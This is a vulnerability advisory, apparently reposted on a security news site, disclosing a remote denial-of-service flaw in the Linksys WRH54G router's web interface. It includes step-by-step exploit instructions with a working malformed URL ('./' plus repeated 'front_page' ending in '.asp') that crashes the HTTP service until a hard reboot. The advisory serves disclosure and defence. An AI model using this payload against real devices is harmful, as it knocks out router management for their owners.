Информационная безопасность
[RU] switch to English


Дополнительная информация

  DoS против беспроводного маршрутизатора Linksys WRH54G

From:dubingyao_(at)_gmail.com <dubingyao_(at)_gmail.com>
Date:5 июня 2008 г.
Subject:Remote DoS vulnerability in Linksys WRH54G

1. DESCRIPTION

There is a DoS vulnerability in Cisco Linksys router WRH54G http service. Any anonymous attacker could crash the http
service easily by sending a malformed http request, and needn't any privilege.

When the device attempts to process the malformed request, it will be possible to corrupt sensitive memory. Although
unconfirmed, it may also be possible to modify various configuration settings or execute malicious code.

After being attacked, Cisco Linksys router can't be accessed remotely by any user. Http service is not recovered and
the attacked router can not be managed without a hard reboot. A reboot of router may cause network disconnected.

Further more, the firewall can still route packets.

2. Affected products and versions

Affected products:
Cisco Linksys WRH54G and other devices
(bacause I have no enough other Linksys routers in hand, I can't make sure how many devices this vulnerability can
effect.)

Affected versions:
The lasted Firmware v1.01.03  

If Need any privilege:
No

3. ANALYSIS

A malformed http request can cause the http service crashed. The malformed request is mixed by string ./ and overly
charactors. Its format is as follows:
Http://192.168.1.1/./front_page......front_page.asp

4. EXPLOIT STEPS

4.1 Make sure the router is running normally, and the Web server is right.

4.2 Open the explorer, type following malformed URL, and press ENTER:
http://192.168.1.106/.
/front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page
front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef
ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefr
ont_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro
nt_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefron
t_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront
_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_
pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p
agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pa
gefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page
front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_p

agefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pa
gefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pag
efront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_page
front_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagef
ront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefr
ont_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefront_pagefro
nt_pagefront_page.asp

4.3 Check the http service, it can't work.


Note:

1. The string ./ in malformed request is necessary. Lack of this string, the http server will ask the anonymous to
input auth information.

2. the string .asp in the end of malformed request is also necessary. Lack of this string, we can not crash the http
server.

3. The firmware information could be found at:
http://www-cn.linksys.
com/servlet/Satellite?childpagename=CN%2FLayout&packedargs=page%3D2%
26cid%3D1140648553423%26c%3DL_Content_C1&pagename=Linksys%2FC
ommon%2FVisitorWrapper&SubmittedElement=Linksys%2FFormSubmit%2FPr
oductDownloadSearch&sp_prodsku=1172713275887

4. There is another DoS vulnerability about malformed http request in Linksys
devices(http://www.securityfocus.com/bid/6301/info).
The description and explit are different from this vulnerability.

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород